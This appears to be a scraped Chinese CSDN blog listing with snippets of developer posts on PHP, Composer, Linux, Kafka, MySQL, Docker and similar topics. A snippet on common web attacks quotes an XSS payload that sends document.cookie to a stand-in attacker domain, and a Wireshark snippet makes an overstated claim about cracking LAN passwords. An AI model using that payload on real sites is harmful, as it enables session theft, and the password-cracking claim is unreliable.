- 博客(37)
- 收藏
- 关注
原创 Yii2 rules验证规则整理
Yii2 rules验证规则大全1、required : 必须值验证属性[‘字段名’],required,‘requiredValue’=>‘必填值’,‘message’=>‘提示信息’];#说明:CRequiredValidator 的别名, 确保了特性不为空.2、email : 邮箱验证[‘email’, ‘email’]; #说明:CEmailValidator的别名,确保了特性的值是一个有效的电邮地址.3、match : 正则验证[[‘字段名’],match,‘p
2021-10-09 17:56:05 1392
转载 Ubantu 搭建yapi 最好用的API接口管理工具
一,什么是YapiYApi 是由去哪儿移动架构组推出的一款开源项目,是高效、易用、功能强大的 api 管理平台,旨在为开发、产品、测试人员提供更优雅的接口管理服务。官网:https://yapi.ymfe.org/,Yapi具有以下功能特性权限管理扁平化权限设计,即保证了大型企业级项目的管理,又保证了易用性可视化接口管理基于 websocket 的多人协作接口编辑功能和类 postman 测试工具,让多人协作成倍提升开发效率Mock Server易用的 Mock Server,Moc
2021-08-11 17:55:30 348
原创 PHP二维数组通过value查找数组元素
PHP的array_filter函数,通过array_filter可以在数组中查找value使用方法:<?php // 定义一个二维数组 $arr = array( array('id'=>2, 'score'=>103), array('id'=>5, 'score'=>102), array('id'=>3, 'score'=>102), array('id'=>3, 'score'=>107), array('id
2021-04-21 11:15:03 978
原创 composer设置阿里云镜像源
composer设置阿里云镜像源1. 首先把默认的源给禁用掉composer config -g secure-http false2. 再修改镜像源 这里我使用阿里的源composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/3. 修改成功后可以先查看一下配置composer config -g -l4. 第二行repositories.packagist.o..
2021-02-18 18:01:05 4619
原创 composer 一文详解,从安装到使用
composer 更换版本composer有时候会因为版本问题导致安装失败,所以有升级、降级的需求假设是常规windows安装,要回滚到composer版本1,只需执行以下命令:composer self-update --1当您想回到版本2时(在更新或删除不兼容的插件之后,您应该这样做):composer self-update --2...
2021-02-18 16:34:30 853
原创 CentOS8 使用yum安装MariaDB
CentOS8 使用yum安装MariaDB数据实战Linux下安装MariaDB官方文档参见:https://mariadb.com/kb/zh-cn/installing-mariadb-with-yum/全部删除MySQL/MariaDBMySQL 已经不再包含在 CentOS 7 的源中,而改用了 MariaDB;1.使用rpm -qa | grep mariadb搜索 MariaDB 现有的包:如果存在,使用rpm -e --nodeps mariadb-*全部删除:[r
2021-01-08 23:32:01 1814
原创 Kafka文件的存储机制
Kafka文件的存储机制同一个topic下有多个不同的partition,每个partition为一个目录,partition命名的规则是topic的名称加上一个序号,序号从0开始。每一个partition目录下的文件被平均切割成大小相等(默认一个文件是500兆,可以手动去设置)的数据文件,每一个数据文件都被称为一个段(segment file),但每个段消息数量不一定相等,这种特性能够使得老的segment可以被快速清除。默认保留7天的数据。每个partition下都会有这.
2021-01-05 14:25:08 180 2
原创 RabbitMQ和Kafka到底怎么选?
RabbitMQ和Kafka到底怎么选?前言开源社区有好多优秀的队列中间件,比如RabbitMQ和Kafka,每个队列都貌似有其特性,在进行工程选择时,往往眼花缭乱,不知所措。对于RabbitMQ和Kafka,到底应该选哪个?RabbitMQ架构RabbitMQ是一个分布式系统,这里面有几个抽象概念。broker:每个节点运行的服务程序,功能为维护该节点的队列的增删以及转发队列操作请求。 master queue:每个队列都分为一个主队列和若干个镜像队列。 mirror queue:
2021-01-05 13:08:25 254 1
原创 CentOS 下使用 Docker 快速搭建 LNMP 环境
CentOS 下使用 Docker 快速搭建 LNMP 环境一、安装 Docker更新 yum 包yum -y update卸载旧版本(如果之前安装过的话)yum remove docker docker-common docker-selinux docker-engine安装需要的软件包,yum-util 提供 yum-config-manager 功能,另外两个是 devicemapper 驱动依赖yum install -y yum-utils dev..
2021-01-05 12:18:46 389
原创 GIT本地拉取特别慢 解决方法GIT GC / git prune
现象:之前拉取代码需要一分钟以上,自己搭的git服务器,非外国服务器,每次要等很久解决方案 :运行 GIT GC 命令git gc调用了git prune处理修剪以及许多其他内务处理任务运行效果跑完之后又恢复健步如飞的拉取速度了...
2020-10-27 18:03:20 2702
原创 完美解决JS浮点运算出错问题
//浮点数加法运算function FloatAdd(arg1,arg2){ var r1,r2,m; try{r1=arg1.toString().split(".")[1].length}catch(e){r1=0} try{r2=arg2.toString().split(".")[1].length}catch(e){r2=0} m=Math.pow(10...
2020-04-11 10:24:57 515 2
原创 10大经典排序算法动图演示
排序算法是《数据结构与算法》中最基本的算法之一。排序算法可以分为内部排序和外部排序。内部排序是数据记录在内存中进行排序。而外部排序是因排序的数据很大,一次不能容纳全部的排序记录,在排序过程中需要访问外存。常见的内部排序算法有:插入排序、希尔排序、选择排序、冒泡排序、归并排序、快速排序、堆排序、基数排序等。用一张图概括:关于时间复杂度: 平方阶 (O(n2)) 排序...
2020-04-09 23:44:55 333
原创 整理Redis常用操作命令大全
//浮点数加法运算function FloatAdd(arg1,arg2){ var r1,r2,m; try{r1=arg1.toString().split(".")[1].length}catch(e){r1=0} try{r2=arg2.toString().split(".")[1].length}catch(e){r2=0} m=Math.pow(...
2020-04-04 20:00:54 1678
原创 Linux文件操作高频使用命令整理
0.新建操作: 1.查看操作 2.删除操作 3.复制操作 4.移动操作: 5.重命名操作: 6.解压压缩操作 7.上传文件工具 8.ln、file和touch命令 9.查找操作命令: 0.新建操作:mkdir abc #新建一个文件夹touch abc.sh #新建一个文件echo "a...
2019-12-26 15:58:21 199
原创 LINUX查看磁盘文件大小 升序降序 端口连接查看
动态显示机器各端口的链接情况while :; do netstat -apn | grep ":80"| wc -l; sleep 1; done指定目录以G查看大小文件大小升序 -n -nrdu -sh /mnt/* |grep G | sort -nr|head查找整个目录文件尺寸大于10G的find / -type f -size +10G...
2019-12-23 11:49:49 301
原创 js 上传base64编码图片到七牛云
1.上传base64编码图片到七牛云 参考官方提供的接口文档: https://developer.qiniu.com/kodo/kb/1326/how-to-upload-photos-to-seven-niuyun-base64-code POST的URL地址格式: http://域名/putb64/文件大小/key/"安全的" ba...
2019-07-30 16:05:12 1079
原创 php上传base64编码图片到七牛云
require_once'qiniu/autoload.php'; header('Access-Control-Allow-Origin:*'); define('QINIU_BUCKET','winroad');//这是你的存储空间名称 define('QINIU_ACCESSKEY','CMD9E7Oj7ftTm_e****WFWvL5C7...
2019-07-30 16:03:47 880
原创 PHP获取图片的base64编码
$image_file = 'filepath.jpg';$image_info = getimagesize($image_file);$base64_image_content = "data:{$image_info['mime']};base64," . base64_encode(file_get_contents($im...
2019-07-30 16:00:22 2273
原创 jquery ajax请求时,设置 header 请求头信息
设置一个名为 headers 的参数参考代码:// attempt to make an XMLHttpRequest to indeed.com// jQuery 1.6.1 and Chrome dev 13.0.767function makeRequest() { alert("inside makeRequest()"); var settings = {...
2019-07-20 19:03:16 3127
原创 MySQL Order by 和 max哪个性能更高更好?
很多同学可能会遇到这个问题:废话不多说,直接上code某表:select count(1) from tbname统计有2W的数据:ORDER BY表现如图:142毫秒select id from tbnamewhere agentid = 1 and driverid = 1 order by ctime desc limit 1MAX如下图:108毫秒...
2019-07-13 11:46:31 5979 1
原创 Linux的swap空间需要设置多大?怎么释放SWAP
无论是windows系统还是linux系统,除了物理内存外,都还有一个虚拟内存。在linux上,虚拟内存被称为swap space。过去以来,虚拟内存的大小应该是物理内存的两倍,但是最近几年来,物理内存的大小至少都有了好几个GB,如果16G内存用32G的swap岂不是太占用硬盘空间?下图是虚拟内存和交换空间的映射关系,虚拟内存的存在,可以提高电脑的运行速度,所以其存在很有意义。我...
2019-07-12 14:52:45 1822
转载 PHP 中各种命名规则的全面总结
一般约定而言 类、函数和变量的名字应该是能够让代码阅读者能够容易地知道这些代码的作用,应该避免使用凌磨两可的命名。以下是在开发过程中常见的命名规则总结1、类的命名使用大写字母作为词的分割,其余的字母均为小写。 类名的首字母必须为大写英文字母。 类名命名不要使用下划线('_')。 如:TestClass、User、UserType、ControllerAdmin。2、...
2019-07-08 19:32:37 795
原创 charles proxy Windows版抓包工具
资源绝对好用!!!官方下载地址:https://www.charlesproxy.com/latest-release/download.do破解地址:https://www.zzzmode.com/mytools/charles/Charles教程https://www.axihe.com/charles/charles/setting.html...
2019-06-24 09:59:39 2438
原创 PHPSTUDY MYSQL5.5 升级5.6
Error Code: 1067 - Invalid default value for 'create_time'熟悉吧!mysql 5.6升级了timestamp!导致之前的版本不兼容导致的!PHPSTUDY 里面mysql5.5升级为5.6即可,稍后补充完整!mysql5.6官方地址:https://dev.mysql.com/downloads/file/?id=48497...
2019-06-22 19:39:11 478
原创 出行平台为了规范司机驾驶行为:按键精灵 PHP抓取司机监控摄像头视频数据并按帧截图保存,AI识别玩手机,抽烟等违规行为
最近的一个需求需要采用AI识别司机玩儿手机行为,识别司机抽烟行为,并自动为司机打分360水滴APP/WEB百度AI:识别用户玩手机,识别用户抽烟,识别车辆信息,人体分析AI识别抽烟https://ai.baidu.com/cvpaas/#/skill/4AI识别打手机https://ai.baidu.com/cvpaas/#/skill/5360手机监控https:...
2019-06-22 10:51:01 2203
转载 Wireshark安装使用及报文分析
Wireshark是世界上最流行的网络分析工具。这个强大的工具可以捕捉网络中的数据,并为用户提供关于网络和上层协议的各种信息。与很多其他网络工具一样,Wireshark也使用pcapnetwork library来进行封包捕捉。可破解局域网内QQ、邮箱、msn、账号等的密码!!wireshark能获取HTTP,也能获取HTTPS,但是不能解密HTTPS,所以wireshark...
2019-06-22 10:29:06 330
转载 Mysql常用的查询语句,记录一下,好东西大家共享
一查询数值型数据: SELECT * FROM tb_name WHERE sum > 100; 查询谓词:>,=,<,<>,!=,!>,!<,=>,=< 二查询字符串 SELECT * FROM tb_stu WHERE sname = '小刘' SELECT * FROM tb_...
2019-06-10 21:23:10 1323
转载 什么是消息队列及消息队列原理和应用场景详解
“消息队列”是在消息的传输过程中保存消息的容器。“消息”是在两台计算机间传送的数据单位。消息可以非常简单,例如只包含文本字符串;也可以更复杂,可能包含嵌入对象。消息被发送到队列中。“消息队列”是在消息的传输过程中保存消息的容器。消息队列管理器在将消息从它的源中继到它的目标时充当中间人。队列的主要目的是提供路由并保证消息的传递;如果发送消息时接收者不可用,消息队列会保留消息,直到可以成功地传递它...
2019-06-09 22:06:14 9481
转载 浅析消息队列
分布式消息服务DMS是完全托管的高性能消息队列服务,提供普通队列、有序队列、Kafka、ActiveMQ、RabbitMQ,兼容HTTP、TCP、AMQP协议,为分布式应用提供灵活可靠的异步通信机制。使用DMS,用户可以创建消息队列,将消息队列作为一个传输消息的中转站,存储应用程序不同组件间传递的消息,从而做到在应用程序的不同组件之间传输消息时,不要求各个组件同时处于可用状态。作为分布式...
2019-06-09 22:02:43 188
原创 PHP SESSION机制
一、默认机制,用磁盘文件来实现PHP会话。php.ini配置:session.save_handler=files 1、session_start() A、session_start()是session机制的开始,它有一定概率开启垃圾回收,因为session是存放在文件中, PHP自身的垃圾回收是无效的,SESSION的回收是要删文件的,这个概率是根据php.i...
2019-06-09 21:58:26 122
原创 Linux Crontab 定时任务
linux内置的cron进程能帮我们实现这些需求,cron搭配shell脚本,非常复杂的指令也没有问题。cron介绍我们经常使用的是crontab命令是cron table的简写,它是cron的配置文件,也可以叫它作业列表,我们可以在以下文件夹内找到相关配置文件。/var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名...
2019-06-09 20:25:36 151
原创 quagga.js+PHP 扫描一维码
<script type="text/javascript" src="__PUBLIC__/quaggaJS/dist/quagga.js"></script>//必须引入全部quagga框架<script>function upFile () { var r= new FileReader(); f=document.getE...
2019-06-09 20:23:10 841
转载 几种常见的攻击
XSS全称是跨站脚本攻击(Cross Site Scripting),指攻击者在网页中嵌入恶意脚本程序。案列比如说我写了一个博客网站,然后攻击者在上面发布了一个文章,内容是这样的<script>window.open(“www.gongji.com?param=”+document.cookie)</script>,如果我没有对他的内容进行处理,直接存储到数据库...
2019-06-09 20:19:41 1060 1
原创 New Start
相信每个行业每个职位上的人或多或少的都有很多知识面要记,但是难免记得全。好记性不如难笔头!那就靠做笔记吧。之前的笔记全部都记录到了EVERNOTE和有道上面了,但是毕竟是私有的,有些记录可能是错误的,但是没法纠正,现在就一一搬迁到CSDN上来吧,好让大家一起学习进步,顺便纠正一下错误的认知!...
2019-06-08 12:52:44 157
转载 一条SQL语句执行得很慢的原因有哪些?
一条SQL语句执行的很慢,那是每次执行都很慢呢?还是大多数情况下是正常的,偶尔出现很慢呢?所以我觉得,我们还得分以下两种情况来讨论。1、大多数情况是正常的,只是偶尔会出现很慢的情况。2、在数据量不变的情况下,这条SQL语句一直以来都执行的很慢。针对这两种情况,我们来分析下可能是哪些原因导致的。二、针对偶尔很慢的情况一条SQL大多数情况正常,偶尔才能出现很慢的情况,...
2019-06-08 12:40:34 113
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人